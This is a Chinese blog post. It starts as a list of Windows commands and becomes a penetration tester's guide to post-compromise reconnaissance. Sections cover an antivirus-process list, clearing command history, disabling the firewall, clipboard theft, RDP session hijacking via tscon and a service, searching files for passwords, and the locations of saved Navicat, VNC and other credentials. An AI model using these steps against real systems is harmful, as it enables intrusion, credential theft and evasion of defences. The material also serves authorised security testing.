windows常用命令

windows 命令 信息收集
windows命令
发布日期:   2021-12-23

windows基础命令

windowsc常用基础命令

  1. 注册表:regedit

  1. 日志查看器:eventvwr


  1. 组策略编辑器：gpedit.msc


  1. 服务查看器：services.msc


  1. 远程桌面：mstsc


  1. 查看SID：whoami /user

  1. 查看当前设备上的所有用户：net user

  1. 查看设备上的指定用户：net user 用户名

  1. 查看在线用户：query user

  1. 注销在线用户：logoff ID号

  1. 查看权限：whoami


ps:格式为主机名+用户名

  1. 查询主机名：hostname

  1. 查询详细权限：whoami /priv

  1. 添加用户：net user 用户名 密码 /add

  1. 删除用户：net user 用户名 /del

  1. 查询组：net localgroup

  1. 查询组内成员：net localgroup 组名

  1. 将指定用户添加到指定组内：net localgroup 组名 用户名 /add

  1. 查询系统信息：systeminfo

  1. 查询系统架构：echo %PROCESSOR_ARCHITECTURE%

  1. 使用powershell查询系统安装软件与版本信息：Get-WmiObject -Class win32_product | Select-Object -Property name,version

  1. 使用wmic查询系统安装软件与版本信息（在win10以下版本使用）：wmic product get name,version

  1. 使用wmic查询系统服务与服务进程ID、服务状态：wmic service list brief

  2. 查询进程：tasklist

  1. 使用wmic查询进程：wmic process list brief
  1. 筛选命令和linux的grep相近：<code>findstr</code>”>26.筛选命令和linux的grep相近：findstr

  1. 结束进程命令：taskkill /f /pid PID号 taskkill /f /im 进程名


  1. 显示每个进程中的服务信息：tasklist /svc

  1. 使用wmic查看windows系统中补丁详细信息：wmic qfe get caption,description,hotfixid,installedon

  1. 使用wmic显示windows系统中补丁号：wmic qfe get hotfixid

  1. 查询arp表：arp -a

  1. 查看防火墙配置信息：netsh firewall show config
  1. 查询端口信息：netstat -ano

  1. 查询代理信息：reg query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings"

  1. 查询远程连接端口：reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

  2. 清除DNS缓存：ipconfig /flushdns

  1. 查询DNS缓存：ipconfig /displaydns

  1. 查询MAC地址：getmac ipconfig /all


  1. 查看文本内容：type *.txt

  1. 查看凭据管理器：cmdkey /list

  1. 环境变量遍历：set

windows 信息收集

本机信息

1、系统程序

收集系统信息，包括操作系统版本，已安装

补丁列表等。通常使⽤已下⽅法收集：
net config workstation/server          # 查 询简易系统信息
systeminfo           # 查询系统详细信息，注意版本、位数、域、补丁信息、更新频率
wmic qfe get Caption,Description,HotFixID,InstalledOn        # 使用wmic查看安装在系统中的补丁:名称，描述，ID，安装时间

注：其中 systeminfo 命令查询内容最全，但如果系统更新的补丁较多，可能会导致反应反应时间过⻓； 使⽤ webshell 执⾏此命令可能会因为超时导致⽆法正常回显，或回显内容⻓度过⻓，⽆法全部显示。在渗透测试systeminfo使用频率较高。

2、进程服务

tasklist /v          # 查询正在运⾏的进程
wmic product get name,version            # 查询所有安装过的软件及版本
powershell "Get-WmiObject -class Win32_Product |Select-Object -Pro perty name,version" 
# 使⽤ powershell 查询所有安装过的软件及版本，效果和 wmic 相同 
wmic service list brief         # 查询当前机器的服务信息

常⻅杀软进程名：

{"360tray.exe",    "360安全卫士"},
{"360sd.exe",      "360杀毒"},
{"a2guard.exe",    "a-squared杀毒"},
{"ad-watch.exe",    "Lavasoft杀毒"},
{"cleaner8.exe",    "The Cleaner杀毒"},
{"vba32lder.exe",    "vb32杀毒"},
{"MongoosaGUI.exe",    "Mongoosa杀毒"},
{"CorantiControlCenter32.exe",    "Coranti2012杀毒"},
{"F-PROT.EXE",    "F-PROT杀毒"},
{"CMCTrayIcon.exe",    "CMC杀毒"},
{"K7TSecurity.exe",    "K7杀毒"},
{"UnThreat.exe",    "UnThreat杀毒"},
{"CKSoftShiedAntivirus4.exe",    "Shield Antivirus杀毒"},
{"AVWatchService.exe",    "VIRUSfighter杀毒"},
{"ArcaTasksService.exe",    "ArcaVir杀毒"},
{"iptray.exe",    "Immunet杀毒"},
{"PSafeSysTray.exe",    "PSafe杀毒"},
{"nspupsvc.exe",    "nProtect杀毒"},
{"SpywareTerminatorShield.exe",    "SpywareTerminator杀毒"},
{"BKavService.exe",    "Bkav杀毒"},
{"MsMpEng.exe",    "Microsoft Security Essentials"},
{"SBAMSvc.exe",    "VIPRE"},
{"ccSvcHst.exe",    "Norton杀毒"},
{"QQ.exe",    "QQ"},
{"f-secure.exe",    "冰岛"},
{"avp.exe",        "卡巴斯基"},
{"KvMonXP.exe",    "江民杀毒"},
{"RavMonD.exe",    "瑞星杀毒"},
{"Mcshield.exe",   "麦咖啡"},
{"egui.exe",       "NOD32"},
{"kxetray.exe",    "金山毒霸"}, 
{"knsdtray.exe",   "可牛杀毒"},
{"TMBMSRV.exe",    "趋势杀毒"},
{"avcenter.exe",   "Avira(小红伞)"},
{"ashDisp.exe",    "Avast网络安全"}, 
{"rtvscan.exe",    "诺顿杀毒"}, 
{"ksafe.exe",      "金山卫士"}, 
{"QQPCRTP.exe",    "QQ电脑管家"},
{"Miner.exe",    "流量矿石"},
{"AYAgent.aye",    "韩国胶囊"},
{"patray.exe",    "安博士"},
{"V3Svc.exe",    "安博士V3"},
{"avgwdsvc.exe",    "AVG杀毒"},
{"ccSetMgr.exe",    "赛门铁克"},
{"QUHLPSVC.EXE",    "QUICK HEAL杀毒"},
{"mssecess.exe",    "微软杀毒"},
{"SavProgress.exe",    "Sophos杀毒"},
{"fsavgui.exe",    "F-Secure杀毒"},
{"vsserv.exe",    "比特梵德"},
{"remupd.exe",    "熊猫卫士"},
{"FortiTray.exe",    "飞塔"},
{"safedog.exe",    "安全狗"},
{"parmor.exe",    "木马克星"},
{"beikesan.exe",    "贝壳云安全"},
{"KSWebShield.exe",    "金山网盾"},
{"TrojanHunter.exe",    "木马猎手"},
{"GG.exe",    "巨盾网游安全盾"},
{"adam.exe",    "绿鹰安全精灵"},
{"AST.exe",    "超级巡警"},
{"ananwidget.exe",    "墨者安全专家"},
{"AVK.exe",    "GData"},
{"ccapp.exe",    "Symantec Norton"},
{"avg.exe",    "AVG Anti-Virus"},
{"spidernt.exe",    "Dr.web"},
{"Mcshield.exe",    "Mcafee"},
{"avgaurd.exe",    "Avira Antivir"},
{"F-PROT.exe",    "F-Prot AntiVirus"},
{"vsmon.exe",    "ZoneAlarm"},
{"avp.exee",    "Kaspersky"},
{"cpf.exe",    "Comodo"},
{"outpost.exe",    "Outpost Firewall"},
{"rfwmain.exe",    "瑞星防火墙"},
{"kpfwtray.exe",    "金山网镖"},
{"FYFireWall.exe",    "风云防火墙"},
{"MPMon.exe",    "微点主动防御"},
{"pfw.exe",    "天网防火墙"},
{"S.exe",    "在抓鸡"},
{"1433.exe",    "在扫1433"},
{"DUB.exe",    "在爆破"},
{"ServUDaemon.exe",    "发现S-U"},
{"BaiduSdSvc.exe",    "百度杀软"},

 

安全狗
SafeDogGuardCenter.exe
safedogupdatecenter.exe
safedogguardcenter.exe
SafeDogSiteIIS.exe
SafeDogTray.exe
SafeDogServerUI.exe

D盾
D_Safe_Manage.exe
d_manage.exe

云锁
yunsuo_agent_service.exe
yunsuo_agent_daemon.exe

护卫神
HwsPanel.exe  护卫神·入侵防护系统（状态托盘）
hws_ui.exe    护卫神·入侵防护系统 - www.huweishen.com
hws.exe       护卫神·入侵防护系统 服务处理程序
hwsd.exe      护卫神·入侵防护系统 监控组件

火绒
hipstray.exe
wsctrl.exe
usysdiag.exe

wmic startup get command,caption # 查看启动项

schtasks /query /fo LIST /v # 查看任务计划

windows ⾃带防⽕墙及特殊过滤规则等⽹络访问均可使⽤ netsh 及相关命令查看。

netsh firewall show config      # 查看防⽕墙信息，但 firewall 命令已弃⽤，可使⽤ advfirewall 命令代替 
netsh advfirewall firewall show rule name=all      # 查看配置规则
netsh advfirewall set allprofiles state off\on     # 关闭防⽕墙\开启防⽕墙 
netsh advfirewall export\import xx.pol     # 导出\导⼊配置⽂件
netsh advfirewall firewall add rule name=”deny tcp 139″ dir=in pr otocol=tcp localport=139 action=block      # 新建规则阻⽌TCP协议139端⼝ 
netsh advfirewall firewall add rule name="Remote Desktop" protoco l=TCP dir=in localport=3389 action=allow             # 新建规则允 许3389通过防⽕墙 
netsh advfirewall firewall delete rule name=Remote Desktop      # 删除名为Remote Desktop的规则 
netsh interface        # 连接安全规则配置， 很少配置

3、用户信息

whoami    # 当前⽤户 
quser    # 查询登录⽤户，同 query user 
qwinsta   # 查询登录⽤户，同 query user 
query user   # 查询登录⽤户 
query session    # 查询会话 
query termserver    # 查询远程桌⾯主机列表。 
net accounts   # 查询域密码策略 
net user    # 查询本地⽤户列表
net user "$username"    # 查询指定⽤户 
net localgroup   # 查询本地⽤户组列表 
net localgroup "$groupname"    # 查询指定⽤户组成员 
net group   # 仅域控可执⾏，查询⽤户组列 表 
net group "$groupname"    # 仅域控可执⾏，查询⽤户组成 员

注： quser 、 qwinsta 和 query 命令只存在于允许安装 RDP 服务的主机上，官⽅描述其仅存在于 server 2012 及以上版本存在。其中 query termserver 命令存在问题，本地测试时与描述严重不符， ⽆法列出信息。

4、操作记录

cmd 和 powershell v3 以下的操作记录⽆法⻓时间报存，仅限当前窗⼝。

Get-History | Format-List -Property *     # 查询 powershell 当前 窗⼝历史操作记录
Clear-History   # 删除 powershell 当前 窗⼝历史操作记录
Clear-History -Id 3    # 删除 powershell 当前 窗⼝指定 ID 的历史操作记录
doskey /h    # 查看 cmd 的历史操作记 录
doskey /reinstall    # 删除 cmd 的历史操作记 录

可以通过向进程发送键盘内容的⽅式将运⾏中的窗⼝历史操作记录导出，详情参考⼦菜单 get- history 。

powershell v5 以上的操作历史记录会直接保存在指定⽂件中。直接查看即可。

# 查看 powershell 历史操作记录
type %appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost _history.txt

powershell v3、v4 版本需要安装 Get-PSReadlineOption 。

msiexec /q /i PackageManagement_x64.msi

5、剪切板信息收集

不同⽤户之间的剪切板没有关联，使⽤微软⾃带的 mstsc 建⽴ rdp 远程连接时，剪切板内容会同步。
利⽤⼯具可以定期将剪切板内容导出，从⽽达到信息收集的⽬的。

当前剪切板

在empire中有⼀个Get-ClipboardContents.ps1，可以⽤empire或者coablt strike加载该脚本。或者也 可以⾃⼰编写相关脚本使⽤。是⼀个相对简单的⼯具。

rdplicp

在使⽤ mstsc 进⾏远程桌⾯的时候，会启动⼀个叫 rdpclip.exe 的进程，该进程的功能是同步服务端与客 户端的剪贴板。

由于启动该进程时，会⾃动同步剪切板内容，因此当⽬标⽬标机器与其他机器使⽤ mstsc 建⽴ RDP 远程 连接时，就可以通过读取 rdplicp.exe 进程数据，进⾏剪贴板窃取，以尽可能地获取更多地信息。

此外，由于由于该进程时后台运⾏的，当管理员同时⽤远程桌⾯登陆多个服务器，在其中得某⼀个服务器 上进⾏复制拷⻉操作时，会将数据同步到所有服务器的 rdplicp.exe 进程。

6、会话劫持

windows 系统下，不同⽤户登录时会有不同的 session ID ，⽽当前⽤户只能看到当前⽤户 session ID 下的内容。

例如： tsclient 只有建⽴远程连接的⽤户才可以看到，和访问到。

同过某些⽅式劫持其他⽤户会话，可以进⼀步收集信息。

tscon

在系统权限下可以通过 tscon 命令去接管其他⼈的桌⾯。但是需要注意的是，如果接管时⽬标⽤户正在连 接状态，则会被强制踢下线。

但是如果⽤户已经断开连接，此时接管桌⾯就不会产⽣其他额外影响。只要不破坏原有桌⾯打开内容，布 局，当断开连接后，⽤户再次登录基本⽆感。

tscon 需要劫持的会话ID /dest:当前⽤户会话名

但是需要注意的是，该命令需要系统权限执⾏。同时，由于是直接接管 session ID 对应的桌⾯，会把正在 使⽤的⽤户踢下线，所以是⽆法访问 tsclient 的。

同时，如果开启了远程桌⾯授权验证，则使⽤该⽅法时，需要输⼊密码才能进⼊桌⾯环境。

由于需要 system 权限才能启动，因此需要先提权⾄ system 。除第三⽅提权⼯具以外，还可以利⽤服务 启动时默认的 system 权限来执⾏。

⽅法如下：
sc create sesshijack binpath= "cmd.exe /k tscon 需要劫持的会话ID /des t:当前⽤户会话名"

除使⽤服务的 system 权限执⾏以外。mimikatz 也具有该功能，或者使⽤ psexec 提权⾄ system 均 可。

RunInSession
RunInSession 这款⼯具可以实现在指定 session ID 下启动执⾏程序或脚本。利⽤该⼯具可以实现在不强 制其他⽤户下线的情况下获取情报，最直接的有剪切板窃取和 tsclient 的访问。

使⽤⽅法：
RunInSession.exe $sessionid $

例如：
RunInSession.exe 2 c:\1.bat


该⼯具需要在管理员权限下执⾏。

⼯具下载地址：https://github.com/l3m0n/pentest_tools/blob/master/内⽹攻防/远程连 接/RunInSession.zip

⽹络发现

内⽹⽹络发现是⼀个很重要的信息收集内容，⼀般情况下是不建议使⽤扫描器扫描，尤其不建议使⽤ nmap，当然，如果是靶场，或是甲⽅授权就另当别论。

1、基本信息收集

ipconfig /all    # 列出当前主机详细⽹络信息 
ipconfig /displaydns  # 列出dns缓存信息 
route print    # 查询路由表
arp -a    # 地址解析协议缓存表
netstat -ano    # 端⼝使⽤情况 
net share    # 查看共享信息
net view   # 查看共享资源列表
wmic share get name,path,status    # 查看共享信息 
# 查看 host ⽂件 
type c:\Windows\system32\drivers\etc\hosts

使⽤arp命令收集最近建⽴过连接的ip，但是此⽅法在某些时候⽆法收集到⽹段外的ip地址。

2、SPN信息收集

SPN：服务主体名称。使⽤Kerberos须为服务器注册SPN，因此可以在内⽹中扫描SPN，快速寻找内⽹中 注册的服务，SPN扫描可以规避像端⼝扫描的不确定性探测动作。 主要利⽤⼯具有：setspn、GetUserSPNs.vbs和Rubeus。

利⽤ Windows ⾃带的 setspn ⼯具

普通域⽤户权限执⾏即可

setspn -T domain.com -Q */*

利⽤ GetUserSPNs.vbs

使⽤ Rubeus ⼯具

3、协议探测

icmp 协议

直接回显

for /l %i in (1,1,255) do @ ping 10.0.0.%i -w 1 -n 1|find /i "ttl ="

输出⽂件
@for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.0.%i & if erro rlevel 1 (echo 192.168.0.%i >> ip.txt) else (echo 192.168.0.%i >> ip.txt)

Netbios 协议

msf 扫描

msf > use auxiliary/scanner/netbios/nbname

nbtscan 扫描

下载：http://www.unixwiz.net/tools/nbtscan.html#download

nbtscan -m 192.168.1.0/24

UDP 协议

msf

msf > use auxiliary/scanner/discovery/udp_probe
msf > use auxiliary/scanner/discovery/udp_sweep

smb-version

python版：https://github.com/amitn322/smb-version

c#版：https://www.zcgonvh.com/post/CSharp_smb_version_Detection.html

SNMP 协议

msf

msf > use auxiliary/scanner/snmp/snmp_enum

4、系统⽇志

可以使⽤ wevtutil.exe psloglist.exe 或者 powershell 的 Get-WinEvent 模块进⾏⽇志导出，server 03 的域控可使⽤ eventquery.vbs 导出。

wevtutil不需要UAC， ⽀持很多过滤语法，若有需要请查看官⽅说明

# 查询登录⽇志语法 wevtutil qe security /f:text /q:*[System[(EventID=4624)]] 
 # 查询所有登录、注销相关的⽇志语法
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 an d 4623 and 4627]"

# 远程查询时在后⾯加⼊/r:computer /u:user /p:password ⽐如查询dc1上的登录 注销⽇志

wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 an d 4623 and 4672]" /r:dc1 /u:administrator /p:password

本地使⽤LogParser⽇志分析⼯具整理导出的⽇志，然后去除重复数据、⽆效数据（以’$’结束的⽤户名）

LogParser.exe -i:EVT -o txt "SELECT TO_UPPERCASE(EXTRACT_TOKEN(Str ings,5,'|')) as USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,1 8,'|')) as SOURCE_IP FROM C:\ProgramData\log.evtx" > C:\ProgramDat a\log.txt

# 导出域控登录⽇志到域控上
wevtutil epl Security C:\ProgramData\dc.evtx /q:"*[EventData[Data [@Name='LogonType']='3'] and System[(EventID=4624) and TimeCreated [timediff(@SystemTime) <= 2592000000]]]" /r:域控IP /u:域管 /p:域管密 码

5、浏览器⽇志

收集浏览器访问记录。

# chrome 
C:\Users\$username\AppData\Local\Google\Chrome\User Data\Default \History 
# firefox 5 
C:\Users\$username\AppData\Roaming\Mozilla\Firefox\Profiles\$nam e.default\places.sqlite 
# IE
reg query "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer \TypedURLs"

或

C:\Users\$user\AppData\Local\Microsoft\Windows\History

# edge

# v79+

 C:\Users\$user\AppData\Local\Microsoft\Edge\User Data\Default\History

# v44+

C:\Users\$user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV 01.dat

浏览器的历史记录⽂件 history，是使⽤ sqlite 格式记录的，直接打开是⼀个⼆进制⽂件，可以下载到本地破解，或者直接替换查看。

需要注意的是，edge v44+ 版本的历史记录⽂件在⽤户登录状态下是锁定的。

6、DNS服务器记录

如果⽬标机器在域内，只需要按部就班收集域信息，准备域横向渗透即可。

但其中有⼀点单独提⼀下，⼀般在域环境中都会有⼀台 DNS 服务器，⼩企业或内⽹环境较⼩的可能会和 域控为同⼀台，⼤⼀些的企业，多为独⽴的 DNS 服务器。

由于 DNS 服务器的特性，因此，在 DNS 服务器上会存在⼤量内⽹地址解析记录，如果可以获取，会极⼤ 的⽅便内⽹拓扑展开，同时很多其他主机⽆法到达的地址，DNS 服务器是可以到达的。

dnscmd . /EnumZones     # 列出 DNS 区域中当 前节点的资源记录 
dnscmd . /ZoneInfo test.com     # 列出 test.com 的 信息
dnscmd . /ZonePrint test.com     # 列出 test.com 中 的详细记录
dnscmd . /EnumRecords test.com .     # 列出 test.com 中 的记录

DNS 记录有正向解析和反向解析两种。

正向解析是从域名到IP，反向解析则是从IP到域名。
反向隔离和正向隔离相同，都会有⼀个对应的区域，因此，查询⽅式与正向记录相同。

DNS 服务器还存在域传送漏洞。可以直接获得 DNS 记录。

nslookup -type=all_ldap._tcp.dc.greyfinger.com 
nslookup -type=ns domain.com 
nslookup 
sserver dns.domain.com 
ls domain.com

域信息查询

1、基本信息收集

域信息收集，需要当前⽤户为域⽤户。本地⽤户⽆法执⾏域命令查询域内容。 但是如果⽬标机器为域内机器，域⽤户未登陆，此时 system 权限下可以使⽤机器身份查询域命令。

net config workstation    # 查询当前登录域 
net time     # 同步时间，通常为域控服务器 
net accounts /domain    # 查询域密码策略 
net user /domain    # 列出当前域成员列表 
net user username /domain    # 列出域成员详细信息 
net group /domain    # 列出域内组列表 
net group groupname /domain     # 列出域内组成员列表 
net view     # 查询同⼀域内机器列表
net view /domain     # 查询域列表 
net view /domain:test     # 查询 test 域中计算机列表 
nltest /dclist:domain      # 查询域内的所有DC 
nltest /dsgetdc:domain     # 拿到DC当前的认证信息
nltest /domain_trusts # 查询域信任信息
nltest /user:"username" # 得到⽤户信息

想要定位域管和域控机器，可以查询 domain admin 和 domain controllers 组，需要注意的是，组 名会随系统语⾔变化⽽变化，如 domain controllers 会变化成 domaine contrôleurs 。

在域内其他机器上，查询组是 net group /domain ，⽽在域控上则是 net group 。

2、dsquery

dsquery命令很少使⽤，⽽且限制较⼤仅能在域控上执⾏，所以相对⽽⾔较为鸡肋，但是在⼀定条件下还 是具有⼀定的使⽤价值。

dsquery computer     # 查询⽬录中的计算机 dsquery contact     # 查询⽬录中的联系⼈ 
dsquery subnet     # 查询⽬录中的⼦⽹ 
dsquery group     # 查询⽬录中的组 
dsquery site     # 查询⽬录中的站点
dsquery user      # 查询⽬录中的⽤户

3、powershell

# 查询当前Domain信息
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDoma in()

# 查询域信任关系
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDom ain()).GetAllTrustRelationships()

 # 查询当前林信息
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentFore st()

 # 查询林信任信息
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((Ne w-Object System.DirectoryServices.ActiveDirectory.DirectoryContex t('Forest', 'forest-of-interest.local')))).GetAllTrustRelationshi ps()

配置⽂件收集

1、findstr命令搜索

与 linux 系统下的 find 命令类似，findstr 是 Window 系统⾃带的命令，⽤途是查找指定的⼀个或多个⽂ 件⽂件中包含某些特定字符串的⾏，并将该⾏完整的信息打印出来，或者打印查询字符串所在的⽂件名。

常⽤命令有： 

/S      # 在当前⽬录和所有⼦⽬录中搜索匹配⽂件。
/I       # 指定搜索不分⼤⼩写。
/X     # 打印完全匹配的⾏。
/M     # 如果⽂件含有匹配项，只打印其⽂件名。
/D:dir    # 查找以分号为分隔符的⽬录列表 

indstr /s /m "password" *.* 
findstr /i /s "password" *.config 
findstr /i /s "password" *.ini 
findstr /i /s "password" *.xml

2、常⻅位置

配置⽂件

IIS配置⽂件路径为： %windir%\system32\inetsrv\config\applicationHost.config

使⽤appcmd的⽅式可以快速导出所需内容:

%windir%\system32\inetsrv\appcmd list site /config
%windir%\system32\inetsrv\appcmd list site /config /xml > c:\site s.xml

密码保存

navicat
|数据库|路径|
|—-|—-|
|MySQL | HKEYCURRENTUSER\Software\PremiumSoft \Navicat\Servers\ |
|MariaDB |HKEYCURRENTUSER\Software\PremiumSoft \NavicatMARIADB\Servers\ |
|MongoDB |HKEYCURRENTUSER\Software\PremiumSoft \NavicatMONGODB\Servers\ |
|Microsoft SQL |HKEYCURRENTUSER\Software\PremiumSoft \NavicatMSSQL\Servers|
|Oracle |HKEYCURRENTUSER\Software\PremiumSoft \NavicatOra\Servers\ |
|PostgreSQL |HKEYCURRENTUSER\Software\PremiumSoft \NavicatPG\Servers\ |
|SQLite |HKEYCURRENTUSER\Software\PremiumSoft \NavicatSQLite\Servers|

SecureCRT

系统版本 路径
xp/win2003 C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions
win7/win2008以上 C:\Users\USERNAME\AppData\Roaming\Va nDyke\Config\Sessions

Xshell
|版本 |路径 |
|—-|—-|
|Xshell 5| %userprofile%\Documents\NetSarang\Xshell\Sessions|
|Xshell 6 |%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions|

WinSCP

HKCU\Software\Martin Prikryl\WinSCP 2\Sessions

VNC

版本 路径 类型
RealVNC HKEYLOCALMACHINE\SOFT WARE\RealVNC\vncserver Password
TightVNC HKEYCURRENTUSER\Softwa re\TightVNC\Server Value Password or PasswordViewOnly
TigerVNC HKEYLOCALUSER\Software\ TigerVNC\WinVNC4 Password
UltraVNC C:\Program Files\UltraVNC\ultravnc.ini passwd or passwd2

DOS命令

1.gpedit.msc—–组策略
2.sndrec32——-录音机
3.Nslookup——-IP地址侦测器，是一个监测网络中DNS服务器是否能正确实现域名解析的命令行工具。它在WindowsNT/2000/XP中均可使用,但在Windows98中却没有集成这一个工具。
4.explorer——-打开资源管理器
5.logoff———注销命令
6.shutdown——-60秒倒计时关机命令
7.lusrmgr.msc—-本机用户和组
8.services.msc—本地服务设置
9.oobe/msoobe /a—-检查XP是否激活
10.notepad——–打开记事本
11.cleanmgr——-垃圾整理
12.netstartmessenger—-开始信使服务
13.compmgmt.msc—计算机管理
14.netstopmessenger—–停止信使服务
15.conf———–启动netmeeting
16.dvdplay——–DVD播放器
17.charmap——–启动字符映射表
18.diskmgmt.msc—磁盘管理实用程序
19.calc———–启动计算器
20.dfrg.msc——-磁盘碎片整理程序
21.chkdsk.exe—–Chkdsk磁盘检查
22.devmgmt.msc—设备管理器
23.regsvr32 /u *.dll—-停止dll文件运行
24.drwtsn32——系统医生
25.rononce-p—-15秒关机
26.dxdiag———检查DirectX信息
27.regedt32——-注册表编辑器
28.Msconfig.exe—系统配置实用程序
29.rsop.msc——-组策略结果集
30.mem.exe——–显示内存使用情况
31.regedit.exe—-注册表
32.winchat——–XP自带局域网聊天
33.progman——–程序管理器
34.winmsd———系统信息
35.perfmon.msc—-计算机性能监测程序
36.winver———检查Windows版本
37.sfc/scannow—–扫描错误并复原
38.taskmgr—–任务管理器（2000/xp/2003
39.winver———检查Windows版本
40.wmimgmt.msc—-打开windows管理体系结构(WMI)
41.wupdmgr——–windows更新程序
42.wscript——–windows脚本宿主设置
43.write———-写字板
44.winmsd———系统信息
45.wiaacmgr——-扫描仪和照相机向导
46.winchat——–XP自带局域网聊天
47.mem.exe——–显示内存使用情况
48.Msconfig.exe—系统配置实用程序
49.mplayer2——-简易widnowsmediaplayer
50.mspaint——–画图板
51.mstsc———-远程桌面连接
52.mplayer2——-媒体播放机
53.magnify——–放大镜实用程序
54.mmc————打开控制台
55.mobsync——–同步命令
56.dxdiag———检查DirectX信息
57.iexpress——-木马捆绑工具，系统自带
58.fsmgmt.msc—–共享文件夹管理器
59.utilman——–辅助工具管理器
60.diskmgmt.msc—磁盘管理实用程序
61.dcomcnfg——-打开系统组件服务
62.ddeshare——-打开DDE共享设置
63.osk————打开屏幕键盘
64.odbcad32——-ODBC数据源管理器
65.oobe/msoobe /a—-检查XP是否激活
66.notepad——–打开记事本
67.nslookup——-网络管理的工具向导
68.ntbackup——-系统备份和还原
69.narrator——-屏幕“讲述人”
70.ntmsmgr.msc—-移动存储管理器
71.ntmsoprq.msc—移动存储管理员操作请求
72.netstat -an—-(TC)命令检查接口
73.syncapp——–创建一个公文包
74.sysedit——–系统配置编辑器
75.sigverif——-文件签名验证程序
76.ciadv.msc——索引服务程序
77.shrpubw——–创建共享文件夹
78.secpol.msc—–本地安全策略
79.syskey———系统加密，一旦加密就不能解开，保护windowsxp系统的双重密码
80.services.msc—本地服务设置
81.Sndvol32——-音量控制程序
82.sfc.exe——–系统文件检查器
83.sfc/scannow—windows文件保护
84.ciadv.msc——索引服务程序
85.tourstart——xp简介（安装完成后出现的漫游xp程序）
86.taskmgr——–任务管理器
87.eventvwr——-事件查看器
88.eudcedit——-造字程序
89.compmgmt.msc—计算机管理
90.packager——-对象包装程序
91.perfmon.msc—-计算机性能监测程序
92.charmap——–启动字符映射表
93.cliconfg——-SQLSERVER客户端网络实用程序
94.Clipbrd——–剪贴板查看器
95.conf———–启动netmeeting
96.certmgr.msc—-证书管理实用程序
97.regsvr32 /u *.dll—-停止dll文件运行
98.regsvr32 /u zip fldr.dll——取消ZIP支持
99.cmd.exe——–CMD命令提示符
100.chkdsk.exe—–Chkdsk磁盘检查



　　net use \\ip\ipc$ "" /user:""  建立IPC空链接
　　net use ip ipc$ "密码" /user:"用户名"  建立IPC非空链接
　　net use h:ipc$"密码"/user:"  用户名"直接登陆后映射对方C：到本地为H:
　　net use h:ipc$  登陆后映射对方C：到本地为H:
　　net use ip ipc$/del  删除IPC链接
　　net use h:/del  删除映射对方到本地的为H:的映射
　　net user 用户名　密码　/add  建立用户
　　net user guest /active:yes  激活guest用户
　　net user  查看有哪些用户
　　net user 帐户  名查看帐户的属性
　　net localgroup administrators 用户名 /add    把“用户”添加到管理员中使其具有管理员权限
　　netstart  查看开启了哪些服务
　　netstart 服务名　  开启服务；(如:netstarttelnet，netstartschedule)
　　net stop 服务名  停止某服务
　　net time 目标ip  查看对方时间
　　net time 目标ip/set  设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
　　net view  查看本地局域网内开启了哪些共享
　　net view ip  查看对方局域网内开启了哪些共享
　　net config  显示系统网络设置
　　net logoff  断开连接的共享
　　net pause  服务名暂停某服务
　　net send ip "文本信息"  向对方发信息
　　net ver  局域网内正在使用的网络连接类型和信息
　　net share  查看本地开启的共享
　　net share ipc$  开启ipc$共享
　　net share ipc$ /del  删除ipc$共享
　　net share c$ /del  删除C：共享
　　net user guest 12345  用guest用户登陆后用将密码改为12345
　　net password 密码  更改系统登陆密码
　　netstat -a  查看开启了哪些端口,常用netstat -an
　　netstat -n  查看端口的网络连接情况，常用netstat -an
　　netstat -v  查看正在进行的工作
　　netstat -p 协议名   例：netstat -p tcp ip  查看某协议使用情况
　　netstat -s 查看正在使用的所有协议使用情况
　　nbtstat -A ip  对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名
　　tracert -参数 ip(或计算机名)  跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
　　ping ip(或域名)  向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。
　　ping -t -l 65550 ip  死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
　　ipconfig(winipcfg)  用于windowsNT及XP(windows9598)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息
　　tlist -t  以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
　　kill -F 进程名  加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
　　del -F 文件名  加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR*.*”表示删除当前目录下所有只读文件，“DEL/A-S*.*”表示删除当前目录下除系统文件以外的所有文件
　　del /S /Q 目录 或用：rmdir/s/Q目录/S删除目录及目录下的所有子目录和文件。同时使用参数/Q可取消删除操作时的系统确认就直接删除。（二个命令作用相同）
　　move 盘符路径 要移动的文件名　 存放移动文件的路径移动后文件名移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
　　fc one.txt two.txt>3st.txt对比二个文件并把不同之处输出到3st.txt文件中，">"和">>"是重定向命令
　　at id号   开启已注册的某个计划任务
　　at /delete  停止所有计划任务，用参数/yes则不需要确认就直接停止
　　at id号 /delete   停止某个已注册的计划任务
　　at  查看所有的计划任务
　　at ip time 程序名(或一个命令)/r    在某时间运行对方某程序并重新启动计算机
　　finger username@host  查看最近有哪些用户登陆
　　telnet ip端口  远程登陆服务器,默认端口为23
　　open ip  连接到IP（属telnet登陆后的命令）
　　telnet  在本机上直接键入telnet将进入本机的telnet
